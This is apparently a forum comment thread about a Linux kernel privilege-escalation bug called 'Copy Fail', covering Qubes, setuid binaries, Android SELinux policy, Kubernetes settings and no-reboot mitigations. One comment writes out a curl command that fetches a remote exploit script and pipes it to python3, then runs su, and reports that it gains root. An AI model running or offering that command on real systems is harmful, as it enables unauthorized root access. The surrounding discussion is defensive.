You know that Xen is just a hypervisor right? Dom0 (the admin Qube) is running the Linux kernel and is vulnerable like any other Linux system. DomU (App Qubes) also run the Linux kernel and are just as vulnerable.

You can check your DomU kernels using this guide:

https://doc.qubes-os.org/en/latest/user/advanced-topics/mana...

If your Dom0 or DomU is running kernel < 6.18.22, or between 6.19.0 and 16.19.12 you are vulnerable.

https://github.com/QubesOS/qubes-linux-kernel/pull/1272 commit fafe0fa2995a of the kernel mirror

Currently stable version of QubeOS does not have the patched kernels. https://yum.qubes-os.org/r4.3/current/dom0/fc41/rpm/

fsflover4• 3 months ago

Dom0 (the admin Qube) is running the Linux kernel and is vulnerable

Yes, it is vulnerable, except there is no attack vector, as you don't run any software there: https://doc.qubes-os.org/en/r4.3/user/downloading-installing...

DomU (App Qubes) also run the Linux kernel and are just as vulnerable.

I think you misinterpret the Qubes approach to security. If you do everything in one VM, you get no protection from the virtualization. Moreover, there is no sudo password by design: https://doc.qubes-os.org/en/r4.3/user/security-in-qubes/vm-s... This is not how to use Qubes.

You need to compartmentalize your workflows. It doesn't matter if my disposable VM is compromised. My secrets are in another, offline VM, where I never run anything. There is no way to use the discussed vulnerability, if one uses Qubes according to docs. See examples here: https://doc.qubes-os.org/en/latest/user/how-to-guides/how-to...

handedness• 3 months ago

Why do you suppose Joanna Rutkowska made a point of calling Qubes OS "reasonably secure", rather than making claims like, "Qubes is not vulnerable" and "there is no attack vector"?

fsflover4• 3 months ago

Because there is no absolute security. This is also a pun. I am not talking about every vulnerability in the world but about this one.

archon8103• 3 months ago

    curl https://copy.fail/exp | python3 && su
    Traceback (most recent call last):
      File "<stdin>", line 9, in <module>
      File "<stdin>", line 5, in c
    AttributeError: module 'os' has no attribute 'splice'

Does this mean I'm not affected or it's a buggy script?

Edit: python3 is python 3.6 on my system. Runnung with python3.10 instantly roots. Crazy find!

orlp• 3 months ago

What is your Python version? Splice was added in 3.10.

https://docs.python.org/3/library/os.html#os.splice

archon8103• 3 months ago

Edited with an update.

z3n1th• 3 months ago

It is trivial to re-write splice, just because the PoC uses it does not mean you're "not affected".

nnnniiiiiiggg• 3 months ago

do yourself a favor just pwn your laptop now with a sledgehammer and switch to an ipad or one of those big number phones for the elderly

lloydatkinson• 3 months ago

You can tell security has become complete theatre when people are registering domains and setting up a whole fucking website for individual ones.

RandomGerm4n2• 3 months ago

That is why we should get rid of setuid binaries. GrapheneOS does not use them and was therefore not affected. On the desktop there is also a project called Secureblue based on Fedora Atomic that is moving in a similar direction and has already eliminated a large number though not all setuid binaries. As an alternative to sudo, su, and pkexec there is for example run0, which is available in distributions using systemd. Since systemd 259 there is now also the --empower parameter which like sudo elevates the privileges of the regular user. Essentially any distribution could start removing sudo and create an alias so that users don’t have to adjust immediately.

dontdoxxme• 3 months ago

No, it is not affected by the exploit as presented. This is a page cache write, so writing to a binary that root will run later can work too. This isn’t a reason to push an agenda that dislikes setuid binaries.

RandomGerm4n2• 3 months ago

That would only work if the user had access to a binary that they wanted to run as root. Ideally this shouldn’t happen at all for most users. There is almost never a legitimate reason to run any program as root unless for example it is a service that absolutely requires it. In Fedora based distributions SELinux also prevents systemd from running any binaries or scripts that the user has access to as root. Removing setuid binaries and strictly limiting features like user namespaces through SELinux would make Linux significantly more secure. It’s absolutely ridiculous that even an outdated Android smartphone is more secure than the average Linux distribution these days.

strcat2• 3 months ago

AOSP and GrapheneOS have a small allowlist of socket types in the SELinux policies preventing using AF_ALG outside of the dumpstate service used to gather system wide debugging information for bug report zips. It's not available as attack surface on AOSP-based operating systems in practice.

The vulnerability also isn't present in standard AOSP GKI kernels (including the stock Pixel OS) or GrapheneOS kernels since they use a minimal kernel with tons of functionality disabled. Other OEMs may enable it but SELinux policy won't permit accessing it. OEMs can weaken SELinux policy but they're restricted by the neverallow rules which disallow permitting apps to access a list of non-standard socket types including AF_ALG.

strcat2• 3 months ago

AOSP not permitting setuid/setgid binaries is certainly useful attack surface reduction but isn't how it blocks exploiting this vulnerability. It blocks it via SELinux policy having allowlists for socket types which don't permit AF_ALG to be used outside of the dumpstate service.

The vulnerability also isn't present in standard AOSP GKI kernels (including the stock Pixel OS) or GrapheneOS kernels since they use a minimal kernel with tons of functionality disabled.

Kernel attack surface is mainly done via SELinux policies on AOSP including ioctl command allowlists per device type such as permitted GPU driver ioctl commands, io_uring only being permitted for a few core processes and much more. AOSP uses seccomp-bpf for apps, etc. too but it's mainly SELinux doing kernel attack surface reduction in practice.

ilaksh• 3 months ago

Does this affect my Hetzner VPSs running Ubuntu probably? Or Nebius H200 VMs?

They are probably Ubuntu 24 but don't remember.

pelasaco• 3 months ago

Fun day for people running bare metal GPU nodes, where teams have been training models for months, and now it must be abruptly aborted to apply security patches... is that something that can be resumed, or do they have to restart from scratch?

parliament324• 3 months ago

Note that in kubernetes, setting `allowPrivilegeEscalation` to false (which you should be doing already, it's in the Pod Security Standards Restricted profile) mitigates this.

j16sdiz• 3 months ago

according to this reddit post https://www.reddit.com/r/kubernetes/comments/1szn6p1/comment...?

the primary mitigation is still patching the node kernel; user namespaces are blast-radius reduction, not a complete mitigation for this path

parliament324• 3 months ago

allowPrivilegeEscalation is unrelated to user namespaces. Many vendors do not yet have kernel patches available, but yes that'll eventually be the proper fix.

TZubiri6• 3 months ago

They have a setting for that?

That's crazy, feels like prompting "make no mistakes" to the llm.

If it works, when would you want it turned on? Why isn't false the default

parliament324• 3 months ago

Because it would break all setuid binaries? Same reason the Linux kernel doesn't set no_new_privs (https://docs.kernel.org/userspace-api/no_new_privs.html) by default.

As an operator you are responsible for configuring your environment correctly. I would recommend starting here: https://kubernetes.io/docs/concepts/security/

stratos123• 3 months ago

It's equivalent to setting no_new_privs on the container process, so it'd mean you have to grant a privelege to the container process if you want any children to have access to it. It sure sounds funny in a CVE context, though.

42wim• 3 months ago

I've (well, mostly Claude did) created a module that unloads the active AF_ALG (builtin) module and mitigates the exploit without having to reboot.

Tested on almalinux8/9

https://gist.github.com/42wim/2e3cc3c92333e4c2730541e6f0e038...

YMMV

zackr• 3 months ago

looking good to me so far, thank you!

1vuio0pswjnm7• 3 months ago

The "default exploit" would not work for me as there is no python nor /usr/bin/su on the computer I'm using

Failed to meet the assumptions I guess

NB. I'm only referring to the "default exploit" not the vulnerability itself

krunck2• 3 months ago

Any Setuid binary will work: passwd, chsh, chfn, mount, sudo, pkexec.

0xmagic0• 3 months ago

0xdf made a nice breakdown video: https://www.youtube.com/watch?v=wQ914geKOcw

Deception4879• 3 months ago

And here is a no-reboot, ebpf-based blocker if you don't need the feature:

https://github.com/lestercheung/linux-copy-fail-workarounds/

atgreen• 3 months ago

I created something similar earlier today: https://github.com/atgreen/block-copyfail

realaaa• 3 months ago

AI marketing goes ballistic now

alexdevphp2• 3 months ago

Has anyone seen patched kernel updates for Ubuntu yet? I’m not seeing anything available so far on my systems

Copy Fail

Related Stories